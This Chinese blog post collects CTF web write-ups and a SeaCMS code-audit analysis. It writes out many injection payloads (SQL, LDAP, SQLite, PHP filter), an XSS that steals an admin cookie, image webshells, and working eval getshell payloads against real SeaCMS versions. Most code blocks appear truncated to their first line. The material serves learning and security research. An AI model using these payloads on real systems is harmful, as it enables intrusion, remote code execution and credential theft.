1 | class Appliacation{ |
获得到的序列化值为:
1 | O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";} |
接下来将key与序列化值进行拼接后进行md5加密
1 | echo md5('EzblrbNS'.$session); |
加密后的值为5a014dbe49334e6dbb7326046950bee
那么session值就为:
1 | O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}5a014dbe49334e6dbb7326046950bee |
最终获取flag的payload:
1 | GET /app/Session.php HTTP/1.1 |
flag:DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}
题目链接:http://117.51.148.166/upload.php
很清晰的一道文件上传题,尝试上传php一句话,抓包修改Content-type字段为image/jpeg,修改文件名后缀名为jpg都无法上传,提示请上传JPG/GIF/PNG格式的图片文件,猜测后台是对上传的文件内容进行了检查,上传图片马中包含phpinfo,却提示[Check Error]上传的图片源代码中未包含指定字符串:phpinfo(),将上传后的图片下载下来,与原来图片比较发现phpinfo不见了,说明对上传的图片进行了二次渲染,类似于upload-labs中的一道绕过二次渲染题目
绕过二次渲染上传图片马参考地址:https://xz.aliyun.com/t/2657
使用其中生成jpg图片的php脚本,过程为向服务器任意上传一个jpg文件,将上传成功的jpg文件下载下来,命名为1.jpg,再运行脚本,命令为:php jpg_payload.php 1.jpg

在目录下生成加入图片马的jpg图片,我们可以在16进制编辑器打开验证:

成功插入phpinfo信息,再次在服务器中上传该图片马

成功获得flag
另外png的图片同样可以通过参考链接中的其他脚本生成图片马,gif文件则需要比较前后图片的相同之处即imagecreatefromgif函数未修改的部分,比较麻烦一点
flag:DDCTF{B3s7_7ry_php1nf0_f2a042657ff79fad}
题目链接:http://117.51.147.155:5050/index.html#/login
这题有点类似护网杯的买辣条,抓包发现Cookie带有REVEL_SESSION,说明是go语言,继续抓取购买吃鸡入场券的包时,发现有参数ticket_price=2000,可是我们的余额只有100,明显无法购买入场券,后台的代码逻辑可能为用户存款 - (吃鸡入场券数×入场券价格 ) >= 0 ,尝试修改ticket_price=100,无法生成订单,通过二分法尝试,只有大于等于1000时才能生成订单,这就想起了go语言的最大整数溢出漏洞。
1 | 有符号整数类型 |
正如上面所列出的go语言各类整数的范围,我们一个个尝试,尝试ticket_price=4294967296,即uint32 无符号32位整数值加1时,能成功购买入场券,并且余额并没有减少,还是100,这就说明了4294967296发生了溢出,变为了0,满足上面的逻辑判断
购买成功后,获得本账号的id和ticket,并且提示需要移除100位对手才能最终吃鸡,很明显需要我们写脚本进行注册并移除,注册100位账户的脚本register.py代码如下:
1 | import requests |
注册100位后,我们需要再通过脚本分别对这100位用户进行登录,获取吃鸡入场券订单,购买订单,最后提取出各自分别的id和ticket,以上这些步骤都分别需要观察每个步骤的响应包json字段内容来判断是否提交成功以及提取id和ticket的信息,chiji.py代码如下:
1 | import requests |
经过测试,需要多次分批注册100个账号,即多次运行该脚本提交,才最终挤掉100位对手,猜测可能是存在提交信息过快导致服务器会来不及处理而导致提交失败的问题
最终吃鸡页面
flag:DDCTF{chiken_dinner_hyMCX[n47Fx)}
题目链接:http://116.85.48.107:5002/d5af31f66147e857
题目给了服务器端源码,是一个python写的Flask框架,分析代码,通过GET方式接收我们输入的参数,格式为action:ACTION;ARGS0#ARGS1#ARGS2......,要得到flag就是要执行最后的函数get_flag_handler,当满足session中的num_items字段大于等于5的条件时,会返回函数FLAG ,即得到flag
1 | def get_flag_handler(args): |
但是如果按代码正常的逻辑来看,num_items的默认字段值为0,需要用session中的另一个字段points的值来换取,然而points初始化值为3
这是session中字段的初始化的代码段:
1 | def entry_point(): |
这是num_items和points字段值交换的代码段:
1 | def buy_handler(args): |
一开始认为的思路是修改session值来改变num_items,points字段的值来执行该函数。在flask中,session是经过参数app.secret_key来进行加密的,所以我们还必须得到加密的key,才能伪造session以获取flag,而获取该key则必须通过参数对代码进行注入,得到app.secret_key
找出的可能存在的注入点在buy_handler函数,通过python3的格式化字符format存在的漏洞注入得到配置信息,但是服务器端对用户的输入存在白名单过滤:
1 | def execute_event_loop(): |
故该方法无效,其实这题只是考察单纯绕过代码逻辑来调用get_flag_handler函数,我们可以注意,服务器执行的函数取决点在于列表request.event_queue,只要列表request.event_queue中还有事件,就会通过eval函数执行
1 | try: |
而列表request.event_queue是通过函数trigger_event进行改变的,所以我们可以通过调用trigger_event函数来进行多函数调用
按照正常的逻辑而言,如果我们正常调用buy_handler函数,并且传入的参数为5,payload为:?action:buy;5执行到最后会执行语句trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']),这时候事情列表request.event_queue中就会添加两个事件consume_point_function和view_handler,也就是说,接下来调用的函数必然是consume_point_function,执行到该函数中的判断语句if session['points'] < point_to_consume: raise RollBackException()时,由于session['points']小于5,则出现了报错信息
但是如果我们控制事件列表request.event_queue中的事件顺序为:buy_handler,get_flag_handler,comsume_point_function,那么由于buy_handler函数中的语句session['num_items'] += num_items,此时session['num_items']被设置为了5,执行下一个函数get_flag_handler时,就能成功执行语句:if session['num_items'] >= 5:trigger_event('func:show_flag;' + FLAG())
所以最终的payload为:
1 | ?action:trigger_event%23;action:buy;5%23action:get_flag; |
首先调用的函数是trigger_event,注意到这里的%23即#,在python的eval函数中,注释符同样能注释掉后面的语句,也就是说注释掉了后面的字符串_handler或_fuction,测试如下:
1 | def hello(): |
传入trigger_event的参数为列表[action:buy;5,action:get_flag;],函数执行完毕后,此时事件列表request.event_queue的内容为:[action:buy;5,action:get_flag;]
下一个调用函数为:buy_handler,传入的参数为5,此时事件列表request.event_queue的内容为:[action:get_flag;],当函数buy_handler执行到语句trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])时,事件列表中又添了新的事件,此时内容为:[action:get_flag;,func:consume_point;5,action:view;index]
那么下一个调用的函数便为get_flag,因为此时刚执行完函数buy_handler,session['num_items'] == 5,所以执行语句trigger_event('func:show_flag;' + FLAG()),此时事件列表中又添加了新的内容:fuction:show_flag;拼接上FLAG()函数执行结果
我们可以执行到trigger_event函数中的语句:session['log'].append(event),即session['log']字段中存储着每次新添加进来的事件,所以必然有FLAG()函数执行结果
所以最后我们需要解密session字段,通过下列脚本代码解密:
1 | #!/usr/bin/env python3 |
解密结果中获得flag,从log字段内容也验证之前的过程分析
最终的flag为:DDCTF{3v4l_3v3nt_100p_aNd_fLASK_cOOkle}
题目链接:http://61.164.47.198:10000/
页面直接给出了提示include $_GET['file'],是一个文件包含题目
利用PHP伪协议读取index.php经过base64加密后的源代码:
1 | /index.php?file=php://filter/convert.base64-encode/resource=index.php |
1 | #index.php |
源代码又给出了提示hint:ZGlyLnBocA==,base64解密后得到dir.php
继续用伪协议读dir.php的源代码:
1 | /index.php?file=php://filter/convert.base64-encode/resource=dir.php |
1 |
|
发现读取目录下文件的函数scandir,读取根目录发现flag文件dir.php?dir=/
再次利用伪协议读取flag文件,payload如下:
1 | /index.php?file=php://filter/convert.base64-encode/resource=/ffffflag_1s_Her4 |
解密后获得flag:flag{8dc25fd21c52958f777ce92409e2802a}
题目链接:http://61.164.47.198:10002

一开始通过GET方式提交参数name,发现页面会返回我们输入的参数name的值,尝试了一下XSS,?name=%253cscript%253e%253c/script%253e,弹出了hint:e10adc3949ba59abbe56e057f20f883e
md5解密是123456,但是一直没懂这个提示的意思,用御剑扫后台也没有扫到什么有用的
比赛结束后,参考别人的WP发现这题就是路径泄露
首先,通过dirsearch工具扫描目录,该工具下载链接:https://github.com/maurosoria/dirsearch
扫描到/.DS_Store
再通过ds_store_exp工具进行还原,该工具下载链接:https://github.com/lijiejie/ds_store_exp
还原结果发现存在目录/e10adc3949ba59abbe56e057f20f883e,即前面发现的提示
访问/e10adc3949ba59abbe56e057f20f883e/.git,发现存在git文件泄露,使用githack工具还原
还原后发现压缩包BackupForMySite.zip,但是被加密,发现里面存在lengzhu.jpg,得知这是一个明文攻击
先将lengzhu.jpg通过2345好压压缩为lengzhu.zip,再与BackupForMySite.zip通过ARCHPR工具进行明文攻击,
进行解密一段时间后,虽然没有得到解压密码,但是得到解压后的压缩包
解压后得到hint内容:
1 | code is 9faedd5999937171912159d28b219d86 |
看到code想到了首页的code兑换码,于是访问/?code=9faedd5999937171912159d28b219d86
得到一个数字:4795334,看样子不像是flag
hint中还有内容flag saved in flag/seed.txt,但是访问/flag/seed.txt也没有得到flag
但是看到seed就想到了这是一个随机数,需要工具php_mt_seed进行破解,该工具下载链接:https://www.openwall.com/php_mt_seed/,下载解压后进入目录执行`make`得到`php_mt_seed`
解密后的结果逐一尝试
访问/flag/309551.txt得到flag:flag{0730b6193000e9334b12cf7c95fbc736}
题目链接:http://61.164.47.198:10001
题目一开始为登录页面,但是完全不需要输入任何用户名和密码即可登录,登录后,有三个页面:/main.php为留言页面;/report.php为提交URL页面,提交完成后管理员会访问;/exec.php为命令执行页面,但是只有管理员才可以执行命令
题目思路挺明确的,利用留言页面进行XSS注入,再提交留言页面的URL,窃取到管理员的cookie,最后执行命令获取flag
首先在留言页面进行XSS注入,通过测试后台将script替换成:),所以考虑用img标签的onerror事件,将空格+onerror=替换成了:),绕过方法是将onerror和=之间换行,注入内容为:
1 | <img src=x onerror |
成功执行弹框,那么接下来只要控制onerror事件内容即可将管理员cookie发送到自己的服务器,payload为:
1 | <img src=x onerror |
当管理员访问/main.php时,触发onerror事件后就会将自己的cookie值提交到我们的服务器上,我们即可在服务器的日志信息上发现
接下来,需要在/report.php中提交/main.php页面的URL值,但是这里必须同时要提交正确的验证码,验证码的条件为:substr(md5($str), 0, 6) === xxxxxx,即我们提交的验证码经过md5加密后的前六位为指定的随机6位数字,因为每次访问页面,产生的6位数字都不同,所以需要通过脚本进行提交,代码如下:
1 | import requests |
运行后可以看到页面返回提交成功的信息
接下来,回到自己服务器,查看日志内容:
成功窃取到管理员的cookie值:
1 | %20admin=admin_!@@!_admin_admin_hhhhh; |
最后,来到命令执行exec.php页面,提交执行的命令,加上管理员的cookie,payload如下:
1 | POST /exec.php HTTP/1.1 |
再次访问日志,经过base64解密后获取flag值:flag{fa51320ae808c70485dd5f30337026d6}
没有过滤,万能密码直接登录获取flag,payload:
1 | username=admin&password=1' or '1'='1 |
没有过滤,联合查询注入
注数据库payload:
1 | username=0' union select database(),2,3# |
数据库名:chal2
注表payload:
1 | username=0' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()# |
表名:c2_group,c2_group_membership,c2_user
注列payload:
1 | username=0' union select group_concat(column_name),2,3 from information_schema.columns where table_name='c2_group'# |
注内容payload:
1 | username=0' union select group_concat(id),group_concat(groupname),group_concat(description) from c2_group# |
flag在表c2_group中
用户名和密码字段都过滤了注释符#,-,%3B%00
payload:
1 | username=admin' or '1&password=1 |
有注册和登录界面,猜测是SQL约束攻击
注册payload:
1 | new=admin+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++1&new_password=123 |
登录payload:
1 | username=admin&password=123 |
登录成功获得flag
这题LDAP注入,LDAP简单来说类似Mysql,可以理解成一个数据库,具体可以参考https://www.fujieace.com/jingyan/ldap.html
search语法:attribute operator value
search filter options:( “&” or “|” (filter1) (filter2) (filter3) …) (“!” (filter))
=(等于)查找“名“属性为“John”的所有对象,可以使用:
1 | (givenName=John) |
这会返回“名”属性为“John”的所有对象。圆括号是必需的,以便强调 LDAP 语句的开始和结束。
&(逻辑与)如果具有多个条件并且希望全部条件都得到满足,则可使用此语法。例如,如果希望查找居住在 Dallas 并且“名”为“John”的所有人员,可以使用:
1 | (&(givenName=John)(l=Dallas)) |
请注意,每个参数都被属于其自己的圆括号括起来。整个 LDAP 语句必须包括在一对主圆括号中。操作符 & 表明,只有每个参数都为真,才会将此筛选条件应用到要查询的对象。
!(逻辑非)此操作符用来排除具有特定属性的对象。假定您需要查找“名”为“John”的对象以外的所有对象。则应使用如下语句:
1 | (!givenName=John) |
此语句将查找“名”不为“John”的所有对象。请注意:! 操作符紧邻参数的前面,并且位于参数的圆括号内。由于本语句只有一个参数,因此使用圆括号将其括起以示说明
*(通配符)可使用通配符表示值可以等于任何值。使用它的情况可能是:您希望查找具有职务头衔的所有对象。为此,可以使用:
1 | (title=*) |
这会返回“title”属性包含内容的所有对象。另一个例子是:您知道某个对象的“名”属性的开头两个字母是“Jo”。那么,可以使用如下语法进行查找:
1 | (givenName=Jo*) |
这会返回“名”以“Jo”开头的所有对象。
高级用法eg:您需要一个筛选条件,用来查找居住在 Dallas 或 Austin,并且名为“John”的所有对象。使用的语法应当是:
1 | (&(givenName=John)(|(l=Dallas)(l=Austin))) |
所以这里LDAP注入主要利用的是通配符*
payload:
1 | username=*&password=* |
题目给了提示postgresql,经过查询是关系型数据库,--+代表注释
构造payload:
1 | username=admin'--+&password=1 |
出现报错信息:
1 | ERROR: syntax error at end of input LINE 1: ...AND password = ('da39a3ee5e6b4b0d3255bfef95601890afd80709')) ^ |
得知需要再添加))闭合
最终payload:
1 | username=admin'))--+&password=1 |
题目给出了用户名不是admin,并且同样过滤注释符#和--和/*
payload:
1 | username=admin' or 1 or '&password=1 |
即使admin不存在,但是经过or 1之后最终结果也是1
sqlite注入,以下为sqlite简介:
1 | SQLite的,是一款轻型的数据库。sqlite存在一个叫SQLITE_MASTER的表,这与MySQL5.x的INFORMATION_SCHEMA表类似。sqlite_master 表中保存了数据库中所有表的信息,该表中比较有用的字段有“name,sql”,name字段存放的是表名,sql字段存放的是表结构。可以通过内置函数sqlite_version()获取版本信息,和其他数据库一样,通过“order by”判断长度,该数据库的注释符和ORACLE数据库一样,都是–。 |
题目注入点为GET方式传入的参数id,并且传入的值经过base64解密
题目给出的hint:WHERE (id IS NOT NULL) AND (ID = ? AND display = 1)
猜测后台sql语句为WHERE (id IS NOT NULL) AND (ID = base64_decode($_GET['id']) AND display = 1)
获得查询列数payload:
1 | 0) order by 3-- |
查询列数为3
获得表名payload:
1 | 0) union select group_concat(name),2,3 from sqlite_master-- |
表名为:flag
获得表结构payload:
1 | 0) union select group_concat(sql),2,3 from sqlite_master-- |
结构:CREATE TABLE flag (content varchar(100), display int(1), id int(10))
获得flag payload:
1 | 0) union select content,2,3 from sqlite_master-- |
同样试一下username=admin'#&password=,返回Wrong username / password.看样子,注释符好像没有被过滤,因为按照前面几关套路,如果过滤提示的是非法字符,那么既然没过滤注释符的话,那就说明用户名admin不存在,那么老套路username=admin' or 1 or ',返回Wrong password for impossibletoguess.
看样子,像是有对我们输入的参数password和查询结果的password进行对比检查,而弹出的impossibletoguess似乎就是用户名字段
验证一下猜想,试一下username=admin' union select 1,2#,返回Wrong password for 1.
说明第一个字段为用户名字段,既然有回显信息,那么我们就可以很好的利用联合查询
爆表payload:
1 | username=admin' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#&password= |
表名:users
爆列payload:
1 | username=admin' union select group_concat(column_name),2 from information_schema.columns where table_name='users'#&password= |
列名:username,password
爆用户名impossibletoguess的密码payload:
1 | username=admin' union select group_concat(password),2 from users#&password= |
密码:1b2f190ad705d7c2afcac45447a31b053fada0c4
直接输入用户名和密码:
1 | username=impossibletoguess&password=1b2f190ad705d7c2afcac45447a31b053fada0c4 |
登录失败,看来密码是经过加密的
长度为40的密码,看样子不像是md5加密,所以猜测是sha1加密
所以后台对比的可能是
1 | password == sha1($_POST['password']) |
所以我们只需要通过联合注入,将第二个字段(密码字段)为$_POST['password']经过sha1加密后的值即可
最终payload:
1 | username=admin' union select 1,sha1(1000)#&password=1000 |
这题出的挺有意思的,收获挺大
注入点为GET方式提交的参数q
测试:?q=1'%23无查询结果,?q=1%23,有查询结果,说明参数q无引号包裹,另外过滤了空格,用/**/代替即可
爆列数payload:
1 | ?q=1/**/order/**/by/**/2%23 |
列数为2
爆表名payload:
1 | ?q=1q=0/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23 |
表名:alkdjf4iu,quotes
爆列名payload:
1 | ?q=0/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x616c6b646a66346975%23 |
这里table_name字段加上单引号查询不到结果,猜测单引号被转义了,所以转为十六进制
列名:id,flag
爆flag payload:
1 | ?q=0/**/union/**/select/**/1,flag/**/from/**/alkdjf4iu%23 |
测试?id=1'%23和?id=1%23,返回信息SQLite Database error please try again later.
看出这是一个SQLite数据库,所以注释符是--
测试?id=1--,正确返回信息,说明参数id无引号包裹
爆列数payload:
1 | ?id=0 order by 2-- |
查询列数为2
爆表名payload:
1 | ?id=0%20union%20select%201,group_concat(name)%20from%20sqlite_master-- |
表名:random_stuff,ajklshfajks,troll,aatroll
爆三个表分别的结构payload:
1 | ?id=0%20union%20select%201,group_concat(sql)%20from%20sqlite_master-- |
1 | CREATE TABLE random_stuff (id int(10), content varchar(100)),CREATE TABLE ajklshfajks (flag varchar(40)),CREATE TABLE troll (id int(10)),CREATE TABLE aatroll (id int(10)) |
发现flag在表ajklshfajks中
爆flag payload:
1 | ?id=0%20union%20select%201,flag%20from%20ajklshfajks-- |
题目源代码给出了提示:
1 | <!-- urldecode(addslashes(str_replace("'", "", urldecode(htmlspecialchars($_GET['id'], ENT_QUOTES))))) --> |
我们可以发现对$_GET['id']进行了两次URL解码,再加上浏览器本身就进行一次解码,所以我们可以对参数id进行URL三次编码,就可以绕过对单引号'的过滤
爆列数payload:
1 | 1%252527%252520order%252520by%2525203-- |
列数为3
爆表名payload:
1 | 0%252527%252520union%252520select%2525201%25252Cgroup_concat%252528name%252529%25252C3%252520from%252520sqlite_master-- |
表名:random_data
爆表结构payload:
1 | 0%252527%252520union%252520select%2525201%25252Cgroup_concat%252528sql%252529%25252C3%252520from%252520sqlite_master-- |
结构:CREATE TABLE random_data (id int, message varchar(50), display int)
爆flag payload:
1 | 0%252527%252520union%252520select%2525201%25252Cgroup_concat%252528message%252529%25252C3%252520from%252520random_data-- |
这题链接到了别的网站,注入点在GET方式传入的参数id,测试发现过滤了关键字union,sleep,并且没有报错信息,测试if未被过滤,所以根据有无返回结果进行基于布尔型的盲注
py脚本代码如下:
1 | import requests |
但是这题没有注出flag
源代码给出了提示<!-- <input type="hidden" name="debug" value="false" /> -->
但是一开始这题还是毫无头绪,测试'都无法出现报错,猜不出两个参数q和s分别的作用
看到别人的提示才知道,原来后台的SQL语句为:
1 | SELECT quote FROM quotes WHERE id = 'htmlspecialchars($id)' AND LENGTH(quote) < CAST('$s' AS INT) |
题目给出的参数debug如果设置为true,则可以出现SQL语法报错
由于htmlspecialchars函数,导致单引号会被转化为html实体,而\是不会被转化的,所以当$id=1\时,SQL语句就变成了
1 | SELECT quote FROM quotes WHERE id = '1\' AND LENGTH(quote) < CAST('$s' AS INT) |
相当于查询字段id值为1\' AND LENGTH(quote) < CAST(,即查询id=1
而我们在通过%23注释掉$s后面的语句,就可以直接进行联合注入,另外这里union需要双写
注表payload:
1 | q=0\&s=uunionnion%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23 |
表名:qdyk5,quotes
注列payload:
1 | q=0\&s=uunionnion%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7164796b35%23 |
列名:id,flag
注flag payload:
1 | q=0\&s=uunionnion%20select%201,flag%20from%20qdyk5%23 |
测试当用户名存在,密码错误时提示Invalid username / password.,用户名不存在时提示No user found.
测试用户名:admin'%23,提示No user found.,猜测注释符#被过滤了,再尝试admin' or '1,提示Invalid username / password.
因为没有回显信息,所以无法使用联合注入,加上sleep也被过滤了,所以这关只能采用基于布尔型的盲注,根据提示信息来判断
payload:
1 | username=admin' and if(ascii(substr(database(),1,1))=100,1,0) or '&password=123 |
脚本代码如下:
1 | import requests |
登录成功后获得flag
这题用户名存在和不存在时回显的信息跟上一关一样,不过多了个报错信息,测试admin'时得到报错信息:
1 | SQLite Database error please try again later. Impossible to fetch username & password from users table |
直接得知了表名users和字段名username,password
测试admin' or '1,回显Invalid username / password.
同样跟上一关一样用布尔盲注,不过这里是SQLite数据库,payload略有不同:
1 | username=admin' and substr(,1,1)='a' or '&password=123 |
脚本代码如下:
1 | import requests |
登录成功后获得flag
看别人提示的payload:
1 | ?s=1' || 1e0union select schema_name,2,3 from information_schema.schemata%23 |
没搞得太懂,1e0union貌似是为了绕过%20union的过滤
数据库名:iaas
注表payload:
1 | ?s=1' || 1e0union select table_name,2,3 from information_schema.tables where table_schema like 'iaas'%23 |
表名:iaas,rz_flag
注列payload:
1 | ?s=1' || 1e0union select column_name,2,3 from information_schema.columns where table_name like 'rz_flag'%23 |
列名:flag
1 | ?s=1' || 1e0union select flag,2,3 from rz_flag%23 |
这题不论用户名是否存在,密码错误都会返回Invalid username / password.尝试用户名username=admin' or '1,提示非法字符,猜测过滤了or+空格+任意字符,可以用||代替or
这题只能用延时注入,payload如下:
1 | username=' || if(ascii(substr((select password from users),1,1))=100,sleep(3),1) || '&password=1 |
脚本代码如下:
1 | import requests |
成功登录后获取flag
]]>参考链接:漏洞预警 | 海洋CMS(SEACMS)0day漏洞预警
在之前的6.45版本中,由于服务器未对参数$order进行合理的过滤:$order = !empty($order)?$order:time;,导致$order内容替换模板$content内容:$content = str_replace("{searchpage:ordername}",$order,$content);,之后$content内容传入parseIf函数,通过正则匹配规则{if:(.*?)}(.*?){end if}匹配后的内容传入命令执行函数@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");,最终导致了getshell
这次我继续跟踪6.54版本,首先看一下它的更新日志
1 | 更新日期:2017年8月7日 v6.54 |
审计后发现,与6.45版本不同的是,6.54版本中/search.php的第65行对参数$order进行了白名单的过滤
1 | $order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : ""; |
看似成功修复了6.45版本的order参数导致的命令执行getshell漏洞,但是本质上还是未对该漏洞进行修复,order参数只是6.45版本中最好利用的命令注入点,并不代表其他参数不存在注入点
下面我们再重新梳理一遍该cms对用户输入的过滤点,首先是全局文件/include/common.php的转义处理
1 | foreach(Array('_GET','_POST','_COOKIE') as $_request) |
第二个是在/search.php本文件下对用户输入参数的过滤,包括RemoveXSS函数过滤和最多20字符的限制
1 | $jq = RemoveXSS(stripslashes($jq)); |
虽然一个参数无法绕过这些过滤,但是我们知道模板内容替换的参数不止一个,所以,可以用多个参数组合替换的方法进行getshell
下面贴上参考文章抓取的攻击payload
1 | POST |
可以看到,注入点已经不止一个,也不是之前的order
1 | function echoSearchPage() |
以上是/search.php文件中对模板内容{searchpage:}替换payload所用参数的顺序,根据上面的payload,最终替换的$content内容包含了
{if:eval(join($_POST[9]))}
然后传入parseIf函数中的命令执行函数eval,最终执行eval("if(eval(join($_POST[9])))"),下面是最终执行的效果图
虽然是通过多个参数拼接起来,但是最关键的注入点还是在于参数$searchword,所以,根据参考文章中的修复方法是过滤参数$searchword中的{searchpage:内容
1 | if(strpos($searchword,'{searchpage:')) exit; |
拿到6.55版本源码,直接按6.54的payload测试,发现行不通,看来有进行一些修复,审计完,对比6.54,一方面还是对参数$order进行了一个白名单过滤,位置在/search.php第66-67行
1 | $orderarr=array('id','idasc','time','timeasc','hit','hitasc','commend','commendasc','score','scoreasc'); |
当然,在6.54我们就已经分析过,造成漏洞的注入点不仅仅只有参数$order一个,还可以通过各个参数拼接
另外,在parseIf加入了对$content匹配内容结果数组$iar也进行了黑名单过滤
1 | foreach($iar as $v){ |
可以看到,我们之前payload的eval,_POST都在黑名单数组中,最后被替换成了@.@,所以原来payload肯定是行不通的,那么,是否真的解决了安全问题呢,其实并没有,我们仔细看黑名单内容,就能发现,其实这里只过滤了一个php执行函数eval,assert函数并没有被过滤。另外,虽然_GET,_POST,_COOKIE,_REQUEST被过滤,但是_SERVER没有被过滤。所以,过滤并不完整,还是可以通过拼接参数的方法进行getshell,只不过换一个函数和全局变量罢了,payload如下:
1 | POST /seacms6.55/search.php?phpinfo(); |
最后的执行效果:
所以,修复方法也还是需要针对参数searchword的{searchpage:内容
6.61版本同样对参数$order进行了白名单过滤
1 | $orderarr=array('id','idasc','time','timeasc','hit','hitasc','commend','commendasc','score','scoreasc'); |
并且同样在parseIf函数中对$iar匹配数组进行了黑名单过滤
1 | foreach($iar as $v){ |
我们可以发现这个版本的黑名单相对于6.55版本添加过滤了关键字assert和_SERVER
但是,在search.php中,又新添加了针对于6.54和6.55漏洞提出者提议的过滤:
1 | if(strpos($searchword,'{searchpage:')) {ShowMsg('请勿输入危险字符!','index.php','0',$cfg_search_time*1000);exit;} |
即对参数$searchword的内容{searchpage:进行了过滤
这次的过滤可谓是比较全面的了,不仅仅是参数$order,也过滤了参数拼接,看似已经很安全,但是还是有大佬挖出来了,emmm再次不得不感叹有输入的地方就可能存在漏洞,百密一疏都可能导致漏洞的发生
贴上参考链接:CVE-2018-14421——Seacms后台getshell分析
参考链接给出的漏洞处在后台管理->添加影片->图片地址
1 | {if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);//}{end if} |
之后访问/detail/?1.html&a=assert&b=phpinfo();,/search.php?searchtype=5&a=assert&b=phpinfo();都可以成功getshell
先验证一下
添加后访问
都成功,说明payload有效,我们观察一下payload,其实挺像我们在6.45版本中$order参数的注入内容,所以猜测同样是替换模板进行命令执行的,但这都是猜测,要真正弄懂还是要一步步跟踪到漏洞根源
首先我们先抓包获取我们注入payload的参数名
参数名为v_pic,并且接收该参数的文件名:/backend/admin_video.php?action=save&acttype=add也知道了,那么接下来只需要在该文件中搜索关键字v_pic即可
在111行:$v_pic = cn_substrR($v_pic,255);获取该参数值,cn_substrR只是一个截取255长度的函数,不需要关注
之后在117行处:
我们可发现参数$v_pic拼接至变量$insertSql后添加到数据库中,到这里数据就添加成功了,也就是说,后台对我们输入的内容除了截取255长度的处理外无其他处理,此时,payload已经入库
之后我们在后台管理->管理影片
可以发现,我们添加的影片内容,在/detail/?1.html下可以访问,那么老样子,直接搜索关键字v_pic,在101行中搜索到:$v_pic=$row['v_pic'];,跟踪变量$row,在23行中搜索到:$row=$dsql->GetOne("Select d.*,p.body as v_playdata,p.body1 as v_downdata,c.body as v_content Fromsea_datad left joinsea_playdatap on p.v_id=d.v_id left joinsea_contentc on c.v_id=d.v_id where d.v_id='$vId'")
即从数据库中取出我们之前添加的$v_pic,之后在102行中:
1 | if(!empty($v_pic)){ |
进行熟悉的模板内容替换,果然如之前猜测的一样,再搜索关键字parseIf,在161行中搜索到:$content=$mainClassObj->parseIf($content);
接下来,只需要找到模板文件,就能弄清楚替换后内容,模板文件为:/templets/default/html/content.html,搜索关键字{playpage:pic},在第22行中搜索到:
1 | <a class="videopic" href="{playpage:playlink}" title="{playpage:name}" style="background: url({playpage:pic}) no-repeat; background-position:50% 50%; background-size: cover;"> |
所以,我们替换的内容即为:
1 | <a class="videopic" href="{playpage:playlink}" title="{playpage:name}" style="background: url({if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);//}{end if}) no-repeat; background-position:50% 50%; background-size: cover;"> |
替换后进入parseIf函数匹配到的内容即为:{if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);//}{end if},进入命令执行的内容为:
1 | @eval("if(1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);//){ \$ifFlag=true;} else{ \$ifFlag=false;}"); |
在前面的分析中,我们知道parseIf函数中添加过滤了assert和_SERVER,但是还有个全局变量$GLOBALS未被过滤,它一个包含了全部变量的全局组合数组,变量的名字就是数组的键。也就是说$GLOBALS['_GET']就相当于$_GET ,那么$GLOBALS['_G'.'ET'][a]就相当于$_GET['a'],$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);,?a=assert&b=phpinfo();就相当于assert(phpinfo(););
最后附上参考链接的总结图:
首先对网站的全局文件进行审计,在根目录文件/index.php中跟踪全局文件/include/common.php
1 | #common.php 第45-48行 |
发现对GET,POST,COOKIE的键值取出作为新的变量,并对键值通过_RunMagicQuotes函数进行过滤,跟踪该函数
1 | #common.php 第29-43行 |
对键值进行了转义处理
下面来到关键的存在漏洞的search.php下,在开头还看到了一处过滤点
1 | #search.php 第6-10行 |
RemoveXSS函数是ThinkPHP框架中用来预防XSS攻击的过滤函数,并经过_RunMagicQuotes的转义处理
1 | #search.php 第54-58行 |
在执行漏洞函数echoSearchPage之前,必须满足$earchtype==5的条件
命令执行漏洞存在于函数echoSearchPage:
1 | function echoSearchPage() |
以上代码是该函数漏洞存在的关键语句,至于为什么存在漏洞,我们继续跟踪函数parseIf就能明白
1 | #/include/main.class.php 第3098行 |
上述关键性代码中,很简单明了看出了最终漏洞存在语句@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}"),知道了漏洞存在点,我们就一步步的追溯回去。
首先跟踪变量$strIf,在$strIf=$iar[1][$m];语句中对其进行赋值,变量$iar[1]又是什么,我们继续跟踪,在语句preg_match_all($labelRule,$content,$iar);中,通过正则匹配函数preg_match_all将匹配结果赋值给了数组变量$iar,函数中的第二个参数,即匹配的字符串,即为传入的变量$content,第一个参数,即匹配规则变量$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is"),bulidregx函数作用是创建正则匹配规则表达式,则最后匹配规则为/{if:(.*?)}(.*?){end if}/is,匹配结果$iar数组[0]为所有匹配结果,[1]为匹配规则中第一个括号中内容匹配结果,[2]为匹配规则中第二个括号中内容匹配结果。另外(.*?)代表贪婪匹配。所以,匹配字符串一定要包含的内容有{if:}{end if},不包含{else if,那么匹配到的第一个括号内容,即$iar[1]内容就会被传入eval函数中执行
